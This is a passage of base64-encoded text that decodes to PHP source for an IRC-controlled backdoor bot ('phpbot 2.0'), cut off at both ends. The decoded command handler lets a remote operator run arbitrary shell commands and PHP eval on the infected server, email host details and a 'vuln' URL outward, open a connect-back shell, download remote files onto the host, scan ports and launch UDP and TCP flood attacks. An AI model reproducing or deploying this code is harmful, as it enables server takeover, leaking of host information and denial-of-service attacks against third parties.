CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5ub3RpY2UoJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJBdXRoXDJdOiBTZW5oYSBlcnJhZGEgJG5pY2sgaWRpb3RhISEiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgIGVsc2VpZigkdGhpcy0+aXNfbG9nZ2VkX2luKCRob3N0KSkgCiAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgaWYoc3Vic3RyKCRtY21kWzBdLDAsMSk9PSIuIikgCiAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKHN1YnN0cigkbWNtZFswXSwxKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAicmVzdGFydCI6IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNlbmQoIlFVSVQgOnJlc3RhcnQgY29tbWFuZG8gZnJvbSAkbmljayIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCR0aGlzLT5jb25uKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c3RhcnQoKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJtYWlsIjogLy9tYWlsIHRvIGZyb20gc3ViamVjdCBtZXNzYWdlIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoY291bnQoJG1jbWQpPjQpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkZXIgPSAiRnJvbTogPCIuJG1jbWRbMl0uIj4iOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFtYWlsKCRtY21kWzFdLCRtY21kWzNdLHN0cnN0cigkbXNnLCRtY21kWzRdKSwkaGVhZGVyKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJtYWlsXDJdOiBJbXBvc3NpdmVsIG1hbmRhciBlLW1haWwuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMm1haWxcMl06IE1lbnNhZ2VtIGVudmlhZGEgcGFyYSBcMiIuJG1jbWRbMV0uIlwyIik7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInNhZmUiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzYWZlbW9kZSA9ICJvbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzYWZlbW9kZSA9ICJvZmYiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJzYWZlIG1vZGVcMl06ICIuJHNhZmVtb2RlLiIiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiaW5ib3giOiAvL3Rlc3RlIGluYm94CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkbWNtZFsxXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG9rZW4gPSBtZDUodW5pcWlkKHJhbmQoKSwgdHJ1ZSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWRlciA9ICJGcm9tOiA8aW5ib3giLiR0b2tlbi4iQGJ5cm9lLm9yZz4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGEgPSBwaHBfdW5hbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjID0gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIW1haWwoJG1jbWRbMV0sIkluQm94IFRlc3QiLCIjU2VraXAgVGVjaG5vbG9neSBzaW5jZSAyMDAyXG5cbmlwOiAkYyBcbnNvZnR3YXJlOiAkYiBcbnN5c3RlbTogJGEgXG52dWxuOiBodHRwOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iXG5cbmdyZWV0ejogd2lja2VkXG5ieTogZHZsIDxTVE1JS0BieXJvZS5vcmc+IiwkaGVhZGVyKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyaW5ib3hcMl06IFVuYWJsZSB0byBzZW5kIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMmluYm94XDJdOiBNZXNzYWdlIHNlbnQgdG8gXDIiLiRtY21kWzFdLiJcMiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJjb25iYWNrIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKT4yKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNvbmJhY2soJG1jbWRbMV0sJG1jbWRbMl0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJkbnMiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRtY21kWzFdKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlwID0gZXhwbG9kZSgiLiIsJG1jbWRbMV0pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRpcCk9PTQgJiYgaXNfbnVtZXJpYygkaXBbMF0pICYmIGlzX251bWVyaWMoJGlwWzFdKSAmJiBpc19udW1lcmljKCRpcFsyXSkgJiYgaXNfbnVtZXJpYygkaXBbM10pKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMmRuc1wyXTogIi4kbWNtZFsxXS4iID0+ICIuZ2V0aG9zdGJ5YWRkcigkbWNtZFsxXSkpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyZG5zXDJdOiAiLiRtY21kWzFdLiIgPT4gIi5nZXRob3N0YnluYW1lKCRtY21kWzFdKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJpbmZvIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInZ1bmwiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAib24iOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsgJHNhZmVtb2RlID0gIm9mZiI7IH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1bmFtZSA9IHBocF91bmFtZSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJpbmZvXDJdOiAkdW5hbWUgKHNhZmU6ICRzYWZlbW9kZSkiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wydnVsblwyXTogaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJib3QiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJib3RcMl06IHBocGJvdCAyLjAgYnk7ICNjcmV3QGNvcnAuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInVuYW1lIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpIHsgJHNhZmVtb2RlID0gIm9uIjsgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7ICRzYWZlbW9kZSA9ICJvZmYiOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdW5hbWUgPSBwaHBfdW5hbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyaW5mb1wyXTogJHVuYW1lIChzYWZlOiAkc2FmZW1vZGUpIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInJuZG5pY2siOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZXRfbmljaygpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInJhdyI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2VuZChzdHJzdHIoJG1zZywkbWNtZFsxXSkpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgImV2YWwiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXZhbCA9IGV2YWwoc3Vic3RyKHN0cnN0cigkbXNnLCRtY21kWzFdKSxzdHJsZW4oJG1jbWRbMV0pKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKCQkJICAgICAgICAgICAgICAgIGNhc2UgInNleGVjIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID0gc3Vic3RyKHN0cnN0cigkbXNnLCRtY21kWzBdKSxzdHJsZW4oJG1jbWRbMF0pKzEpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleGVjID0gc2hlbGxfZXhlYygkY29tbWFuZCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldCA9IGV4cGxvZGUoIlxuIiwkZXhlYyk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJldCk7JGkrKykgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcmV0WyRpXSE9TlVMTCkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIiAgICAgIDogIi50cmltKCRyZXRbJGldKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgImV4ZWMiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID0gc3Vic3RyKHN0cnN0cigkbXNnLCRtY21kWzBdKSxzdHJsZW4oJG1jbWRbMF0pKzEpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleGVjID0gZXhlYygkY29tbWFuZCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldCA9IGV4cGxvZGUoIlxuIiwkZXhlYyk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJldCk7JGkrKykgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcmV0WyRpXSE9TlVMTCkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIiAgICAgIDogIi50cmltKCRyZXRbJGldKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInBhc3N0aHJ1IjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZCA9IHN1YnN0cihzdHJzdHIoJG1zZywkbWNtZFswXSksc3RybGVuKCRtY21kWzBdKSsxKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhlYyA9IHBhc3N0aHJ1KCRjb21tYW5kKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRleGVjKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkcmV0KTskaSsrKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXRbJGldIT1OVUxMKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICAgOiAiLnRyaW0oJHJldFskaV0pKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAicG9wZW4iOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRtY21kWzFdKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmQgPSBzdWJzdHIoc3Ryc3RyKCRtc2csJG1jbWRbMF0pLHN0cmxlbigkbWNtZFswXSkrMSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJwb3BlblwyXTogJGNvbW1hbmQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwaXBlID0gcG9wZW4oJGNvbW1hbmQsInIiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkcGlwZSkpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYnVmID0gdHJpbShmZ2V0cygkcGlwZSw1MTIpKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcGJ1ZiAhPSBOVUxMKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICA6ICRwYnVmIik7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBjbG9zZSgkcGlwZSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAgCgkJCSAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAic3lzdGVtIjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZCA9IHN1YnN0cihzdHJzdHIoJG1zZywkbWNtZFswXSksc3RybGVuKCRtY21kWzBdKSsxKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhlYyA9IHN5c3RlbSgkY29tbWFuZCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldCA9IGV4cGxvZGUoIlxuIiwkZXhlYyk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJldCk7JGkrKykgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcmV0WyRpXSE9TlVMTCkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIiAgICAgIDogIi50cmltKCRyZXRbJGldKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJwc2NhbiI6IC8vIC5wc2NhbiAxMjcuMC4wLjEgNjY2NyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKSA+IDIpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGZzb2Nrb3BlbigkbWNtZFsxXSwkbWNtZFsyXSwkZSwkcywxNSkpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJwc2NhblwyXTogIi4kbWNtZFsxXS4iOiIuJG1jbWRbMl0uIiBpcyBcMm9wZW5cMiIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMnBzY2FuXDJdOiAiLiRtY21kWzFdLiI6Ii4kbWNtZFsyXS4iIGlzIFwyY2xvc2VkXDIiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAidWQuc2VydmVyIjogLy8gLnVkLnNlcnZlciA8c2VydmVyPiA8cG9ydD4gW3Bhc3N3b3JkXSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKT4yKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Y29uZmlnWydzZXJ2ZXInXSA9ICRtY21kWzFdOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5jb25maWdbJ3BvcnQnXSA9ICRtY21kWzJdOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRtY21jZFszXSkpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Y29uZmlnWydwYXNzJ10gPSAkbWNtZFszXTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJ1cGRhdGVcMl06IFNlcnZlciB0cm9jYWRvIHBhcmEgIi4kbWNtZFsxXS4iOiIuJG1jbWRbMl0uIiBTZW5oYTogIi4kbWNtZFszXSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJ1cGRhdGVcMl06IFNlcnZlciB0cm9jYWRvIHBhcmEgIi4kbWNtZFsxXS4iOiIuJG1jbWRbMl0pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiZG93bmxvYWQiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKSA+IDIpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkZnAgPSBmb3BlbigkbWNtZFsyXSwidyIpKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMmRvd25sb2FkXDJdOiBOYW8gZm9pIHBvc3NpdmVsIGZhemVyIG8gZG93bmxvYWQuIFBlcm1pc3NhbyBuZWdhZGEuIik7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISRnZXQgPSBmaWxlKCRtY21kWzFdKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJkb3dubG9hZFwyXTogTmFvIGZvaSBwb3NzaXZlbCBmYXplciBvIGRvd25sb2FkIGRlIFwyIi4kbWNtZFsxXS4iXDIiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9MDskaTw9Y291bnQoJGdldCk7JGkrKykgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwkZ2V0WyRpXSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyZG93bmxvYWRcMl06IEFycXVpdm8gXDIiLiRtY21kWzFdLiJcMiBiYWl4YWRvIHBhcmEgXDIiLiRtY21kWzJdLiJcMiIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7ICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyZG93bmxvYWRcMl06IHVzZSAuZG93bmxvYWQgaHR0cDovL3lvdXIuaG9zdC9maWxlIC90bXAvZmlsZSIpOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJkaWUiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZW5kKCJRVUlUIDpkaWUgY29tbWFuZCBmcm9tICRuaWNrIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHRoaXMtPmNvbm4pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQ7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAibG9nb3V0IjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bG9nX291dCgkaG9zdCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJhdXRoXDJdOiAkbmljayBkZXNsb2dhZG8hIik7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAidWRwZmxvb2QiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKT4zKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+dWRwZmxvb2QoJG1jbWRbMV0sJG1jbWRbMl0sJG1jbWRbM10pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJ0Y3BmbG9vZCI6IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoY291bnQoJG1jbWQpPjUpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT50Y3BmbG9vZCgkbWNtZFsxXSwkbWNtZFsyXSwkbWNtZFszXSwkbWNtZFs0XSwkbWNtZFs1XSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgIH0gCiAgICAgICAgICB9IAogICAgICAgfSAKICAgICAgICRvbGRfYnVmI